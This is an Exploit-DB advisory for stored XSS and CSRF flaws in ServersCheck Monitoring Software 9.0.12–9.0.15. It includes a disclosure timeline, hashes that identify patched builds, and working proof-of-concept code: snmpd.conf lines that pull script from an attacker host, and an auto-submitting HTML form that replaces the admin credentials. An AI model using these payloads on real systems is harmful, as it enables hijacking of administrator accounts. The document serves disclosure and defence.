ServersCheck Monitoring Software Vulnerabilities

vendor:

ServersCheck Monitoring Software

by:

loneferret of Offensive Security

9,3

CVSS

HIGH

Stored XSS & Cross Site Request Forgery

CWE

Product Name: ServersCheck Monitoring Software

Affected Version From: 9.0.12

Affected Version To: 9.0.14 (some versions of 9.0.15)

Patch Exists: YES

Related CWE: N/A

CPE: a:serverscheck:serverscheck_monitoring_software

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2012

ServersCheck Monitoring Software Vulnerabilities

The XSS is triggered by configuring a snmpd.conf file to point to an attacker-controlled JavaScript file.

Mitigation:

Upgrade to the latest version of ServersCheck Monitoring Software.

Source

Exploit-DB raw data:

# Author: loneferret of Offensive Security
# Product: ServersCheck Monitoring Software
# Version: 9.0.12 - 9.0.14 (some versions of 9.0.15)
# Vendor Site: http://www.serverscheck.com
# Software Download: http://www.serverscheck.com/monitoring_software/download.asp
# Note: Older Appliances may be affected.

# Discovered: August 18th 2012
# Disclosure: 
# August 18th 2012: Reported to CERT
# September 5th 2012: Tentative disclosure date October 10th 2012
# September 5th 2012: Vendor requesting information/procedure on how to reproduce
# September 5th 2012: Sent vendor procedures
# September 5th 2012: Vendor says newer version not affected
# September 5th 2012: Tested new version, conclusion still affected
# September 5th 2012: Newer s-server.exe file supplied/tested version is patched.
# September 6th 2012: 9.0.15 download version is now patched.
# October 10th 2012: Public release


# Software Description:
# The core of our Monitoring Solution is the award winning ServersCheck Monitoring Software. 
# This software enables you to monitor any networked device for its availability 
# and performance. It is agentless: no need to have agents installed on the remote 
# systems being monitored. It can run on your own Windows system or you can 
# get it as a box: the ServersCheck Monitoring Appliance. 

# Vulnerabilities:
# The file responsible the vulnerability is called "s-server.exe".
# From the 3 versions tested the file's version does not change, so looking at the 
# MD5 hash can help us determine if an installation is using vulnerable file.
# One can only assume that 9.0.13 is vulnerable.
# Versions 9.0.12 & 9.0.14 & 9.0.15 (vulnerable): 
# s-server.exe HASH: MD5 (s-server.exe) = af38d77e0b150d96f68cba4c3e65f316
# Version 9.0.15 (patched):
# s-server.exe HASH: MD5 (s-server.exe) = 3e01ff7201df4eb1c0091784a40f3055

# PoC:
# Store XSS & Cross Site Request Forgery
# The XSS is triggered by configuring a snmpd.conf file to point to an attacker-controlled
# JavaScript file. 
# ..
# syslocation <script src="http://attacker/xss.js"></script>
# syscontact <iframe src="http://attacker/scheck-csrf.html"></iframe>

# CSRF PoC:
# We can also use the previous XSS to trigger this. Makes for a funny.
# Change Admin credentials
# File scheck-csrf.html
<html>
 <body onload="trigger()">
 <script>
        function trigger() {
                document.getElementById('bad_form').submit();
        }
 </script>
 <form id="bad_form" method="post" action="http://target:1272/settings2.html">
  <input name="systemsetting" value="secure" type="hidden">
  <input name="setting" value="SECURE" type="hidden">
  <input value="ok" name="changedsettings" type="hidden">
  <input name="systemsetting" value="SECURE" type="hidden">
  <input name="XYXadminuser" size="30" value="loneferret" type="hidden"><br>
  <input name="adminpass" size="30" value="123456" type="hidden"><br>
 </form>
 </body>
</html>